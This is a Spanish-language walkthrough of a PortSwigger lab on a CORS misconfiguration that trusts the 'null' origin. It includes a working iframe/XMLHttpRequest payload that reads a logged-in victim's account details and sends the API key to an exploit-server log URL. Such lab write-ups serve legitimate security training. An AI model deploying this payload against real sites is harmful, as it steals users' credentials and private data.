CORS vulnerability with trusted null origin
Laboratorio de Portswigger sobre CORS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web
tiene una configuración Cross-Origin Resource Sharing (CORS)
insegura ya que confía en el origen "null"
. Para resolver
el laboratorio
, debemos crear un script en JavaScript
que utilice Cross-Origin Resource Sharing (CORS)
para obtener la clave API
del administrador
y subir el exploit
a nuestro servidor de explotación
. El laboratorio
se dará por resuelto
cuando enviemos correctamente la clave API del administrador
. Podemos iniciar sesión
en nuestra cuenta utilizando las credenciales wiener:peter
Guía de CORS
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de CORS
https://justice-reaper.github.io/posts/CORS-Guide/
Resolución
Al acceder
a la web
vemos esto
Hacemos click
sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
y una clave API
Si nos fijamos en la petición
que se hace a /accountDetails
cuando nos logueamos
, veremos que el servidor
nos responde
con la cabecera Access-Control-Allow-Credentials: true
. Esto no lo hace vulnerable a CORS
, para que sea vulnerable
tenemos que ser capaces de controlar el origen de la petición
Para comprobar si podemos manipular
el origen
de la petición
mandamos esta petición
al Repeater
y añadimos la cabecera Origin: null
. Vemos que nos responde
con la cabecera Access-Control-Allow-Origin: null
Modificamos
el payload
anterior, nos dirigimos
al Exploit server
y lo pegamos
1
2
3
4
5
6
7
8
9
10
11
12
13
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0aa100af03ff4cc38027adf700490041.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = 'https://exploit-0a2800d9039b4c5f8069ac7001ea0015.exploit-server.net/log?key=' + this.responseText;
};
</script>
"></iframe>
Pulsamos sobre View exploit
para confirmar
que funciona correctamente
Si pulsamos sobre Access log
veremos que hemos recibido
una petición
con nuestra credenciales
Una vez comprobado
que funciona
, pulsamos
sobre Deliver exploit to victim
Copiamos
la cadena recibida
en el Decoder
de Burpsuite
y la URL decodeamos
Pulsamos en Submit solution
y añadimos
la apiKey